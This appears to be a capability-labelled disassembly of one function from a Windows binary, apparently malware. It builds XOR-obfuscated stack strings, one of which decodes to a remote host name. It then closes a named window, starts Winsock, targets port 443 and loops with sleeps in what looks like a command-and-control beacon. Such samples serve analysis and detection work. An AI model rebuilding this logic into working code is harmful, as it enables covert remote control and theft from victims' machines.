Function at 0x1000a9d0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100e7094
mov eax, dword fs:[0]
push eax
sub esp, 0x278
mov eax, dword [0x1012f5f0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov cl, 0x5f
mov bl, 0x7d
mov al, 0x73
mov byte [ebp - 0x31], cl
mov byte [ebp - 0x29], bl
mov dl, 0x7a
mov byte [ebp - 0x1d], cl
mov cl, 8
mov byte [ebp - 0x17], bl
xor ebx, ebx
mov byte [ebp - 0x38], 0x77
mov byte [ebp - 0x37], 0x56
mov byte [ebp - 0x36], al
mov byte [ebp - 0x35], 0x5d
mov byte [ebp - 0x34], 0x41
mov byte [ebp - 0x33], 0x6a
mov byte [ebp - 0x32], 0x5d
mov byte [ebp - 0x30], 0x7b
mov byte [ebp - 0x2f], 0x54
mov byte [ebp - 0x2e], 0x59
mov byte [ebp - 0x2d], 0x4b
mov byte [ebp - 0x2c], 0x4b
mov byte [ebp - 0x2b], 0x67
mov byte [ebp - 0x2a], al
mov byte [ebp - 0x28], dl
mov byte [ebp - 0x24], 0x77
mov byte [ebp - 0x23], 0x56
mov byte [ebp - 0x22], al
mov byte [ebp - 0x21], 0x5d
mov byte [ebp - 0x20], 0x41
mov byte [ebp - 0x1f], 0x6a
mov byte [ebp - 0x1e], 0x5d
mov byte [ebp - 0x1c], cl
mov byte [ebp - 0x1b], cl
mov byte [ebp - 0x1a], 9
mov byte [ebp - 0x19], 0x67
mov byte [ebp - 0x18], al
mov byte [ebp - 0x16], dl
mov dword [ebp - 0xb4], 0xf
mov dword [ebp - 0xb8], ebx
mov byte [ebp - 0xc8], bl
mov dword [ebp - 4], ebx
xor esi, esi
lea esp, [esp]
movzx eax, byte [ebp + esi - 0x38]
xor eax, 0x38
push eax
mov eax, 1
lea edi, [ebp - 0xcc]
call fcn.1000d550
add esi, 1
cmp esi, 0x11
jb 0x1000aaa0
mov dword [ebp - 0x98], 0xf
mov dword [ebp - 0x9c], ebx
mov byte [ebp - 0xac], bl
mov byte [ebp - 4], 1
xor esi, esi
lea ecx, [ecx]
movzx eax, byte [ebp + esi - 0x24]
xor eax, 0x38
push eax
mov eax, 1
lea edi, [ebp - 0xb0]
call fcn.1000d550
add esi, 1
cmp esi, 0xf
jb 0x1000aae0
mov ecx, dword [ebp - 0xac]
mov eax, 0x10
cmp dword [ebp - 0x98], eax
jae 0x1000ab1a
lea ecx, [ebp - 0xac]
cmp dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0xc8]
jae 0x1000ab2e
lea eax, [ebp - 0xc8]
push ecx
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
cmp esi, ebx
je 0x1000ab4a
push esi
call dword [sym.imp.USER32.dll_DestroyWindow]
push esi
call dword [sym.imp.USER32.dll_CloseWindow]
push ebx
push 2
call fcn.1001ed83
push eax
call fcn.100208ee
push 0x10127e93
push ebx
mov dword [ebp - 0x26c], eax
call fcn.1001ed83
push eax
push 2
call fcn.1001ed83
add esp, 0x1c
lea eax, [ebp - 0x25c]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.100b8430
call fcn.10037ef0
call fcn.100b8600
mov dword [ebp - 0x268], ebx
mov eax, dword [ebp - 0x268]
mov ecx, eax
and ecx, 0x80000001
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x6c], ebx
mov word [ebp - 0x78], 2
jns 0x1000abc2
dec ecx
or ecx, 0xfffffffe
inc ecx
add eax, 1
test ecx, ecx
mov dword [ebp - 0x268], eax
mov edi, 0xf
jne 0x1000ac14
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x54], ebx
mov byte [ebp - 0x64], bl
lea edx, [ebp - 0x68]
push edx
mov byte [ebp - 4], 2
call fcn.1000a730
add esp, 4
test al, al
jne 0x1000aca3
mov byte [ebp - 4], 1
cmp dword [ebp - 0x50], 0x10
jb 0x1000ac0b
mov eax, dword [ebp - 0x64]
push eax
call fcn.1001d705
add esp, 4
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x54], ebx
mov byte [ebp - 0x64], bl
mov byte [ebp - 0x4c], 0x5e
mov byte [ebp - 0x4b], 0x5e
mov byte [ebp - 0x4a], 0x16
mov byte [ebp - 0x49], 0x5b
mov byte [ebp - 0x48], 0x5c
mov byte [ebp - 0x47], 0x56
mov byte [ebp - 0x46], 0x4b
mov byte [ebp - 0x45], 0x5d
mov byte [ebp - 0x44], 0x4a
mov byte [ebp - 0x43], 0x4e
mov byte [ebp - 0x42], 0x51
mov byte [ebp - 0x41], 0x5b
mov byte [ebp - 0x40], 0x5d
mov byte [ebp - 0x3f], 0x16
mov byte [ebp - 0x3e], 0x4c
mov byte [ebp - 0x3d], 0x57
mov byte [ebp - 0x3c], 0x48
mov dword [ebp - 0x7c], edi
mov dword [ebp - 0x80], ebx
mov byte [ebp - 0x90], bl
mov byte [ebp - 4], 3
xor esi, esi
movzx eax, byte [ebp + esi - 0x4c]
xor eax, 0x38
push eax
mov eax, 1
lea edi, [ebp - 0x94]
call fcn.1000d550
add esi, 1
cmp esi, 0x11
jb 0x1000ac6a
mov esi, 0x10
cmp dword [ebp - 0x7c], esi
jb 0x1000ace3
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x274], eax
jmp 0x1000acef
lea ecx, [ebp - 0x68]
call fcn.1000a240
test al, al
mov byte [ebp - 4], 1
jne 0x1000acc6
cmp dword [ebp - 0x50], 0x10
jb 0x1000ac0b
mov ecx, dword [ebp - 0x64]
push ecx
jmp 0x1000ac03
cmp dword [ebp - 0x50], 0x10
jb 0x1000acd8
mov edx, dword [ebp - 0x64]
push edx
call fcn.1001d705
add esp, 4
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x54], ebx
mov byte [ebp - 0x64], bl
jmp 0x1000ad35
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x274], ecx
push 0x1013c118
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x270], ebx
call fcn.10009d40
add esp, 4
mov byte [ebp - 4], 1
cmp dword [ebp - 0x7c], esi
jb 0x1000ad20
mov edx, dword [ebp - 0x90]
push edx
call fcn.1001d705
add esp, 4
mov dword [ebp - 0x7c], 0xf
mov dword [ebp - 0x80], ebx
mov byte [ebp - 0x90], bl
mov edi, 0xf
mov esi, dword [sym.imp.WS2_32.dll_htons]
push 0x1bb
call esi
mov word [ebp - 0x76], ax
mov eax, dword [ebp - 0x76]
push eax
mov dword [ebp - 0x264], edi
call esi
push 0x14
mov word [0x1013c130], ax
call fcn.1001dbd3
add esp, 4
cmp eax, ebx
je 0x1000ad7c
mov dword [eax], vtable.Callbacks.0
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov esi, eax
jmp 0x1000ad7e
xor esi, esi
xor eax, eax
cmp esi, ebx
mov dword [ebp - 0x260], eax
je 0x1000ada3
mov ecx, dword [esi]
mov eax, dword [ecx]
lea edx, [ebp - 0x260]
push edx
push 0x1012a008
push esi
call eax
mov eax, dword [ebp - 0x260]
cmp eax, ebx
mov byte [ebp - 4], 4
jne 0x1000ae35
mov esi, dword [ebp - 0x26c]
push esi
push 2
call fcn.1001ed83
push esi
call fcn.1001d70a
mov esi, 0x10
add esp, 0xc
mov byte [ebp - 4], bl
cmp dword [ebp - 0x98], esi
jb 0x1000ade5
mov ecx, dword [ebp - 0xac]
push ecx
call fcn.1001d705
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0xb4], esi
mov dword [ebp - 0x98], 0xf
mov dword [ebp - 0x9c], ebx
mov byte [ebp - 0xac], bl
jb 0x1000ae19
mov edx, dword [ebp - 0xc8]
push edx
call fcn.1001d705
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1001d3e9
mov esp, ebp
pop ebp
ret
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
push eax
call edx
test eax, eax
jne 0x1000aee0
mov byte [ebp - 4], 5
mov edi, dword [esi + 8]
push edi
call fcn.10009460
add esp, 4
mov dword [ebp - 0x282], ebx
mov word [ebp - 0x284], bx
mov dword [ebp - 0x27e], ebx
mov dword [ebp - 0x27a], ebx
mov word [ebp - 0x276], bx
mov byte [ebp - 0x282], bl
xor esi, esi
lea ecx, [ecx]
cmp edi, ebx
je 0x1000aeac
mov eax, 0x10
sub eax, esi
push eax
lea ecx, [ebp + esi - 0x284]
push ecx
push edi
call fcn.100b6040
add esp, 0xc
cmp eax, ebx
jg 0x1000aea5
mov esi, eax
jmp 0x1000aeac
add esi, eax
cmp esi, 0x10
jl 0x1000ae80
cmp esi, 0x10
jne 0x1000aec2
mov edx, dword [ebp - 0x260]
push edx
mov ecx, edi
call fcn.100067b0
add esp, 4
mov dword [ebp - 4], 4
jmp 0x1000aeda
mov edi, dword [ebp - 0x264]
mov eax, dword [ebp - 0x260]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x10]
push eax
call edx
imul edi, edi, 0x3e8
push edi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x260]
cmp eax, ebx
je 0x1000ab9b
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
jmp 0x1000ab9b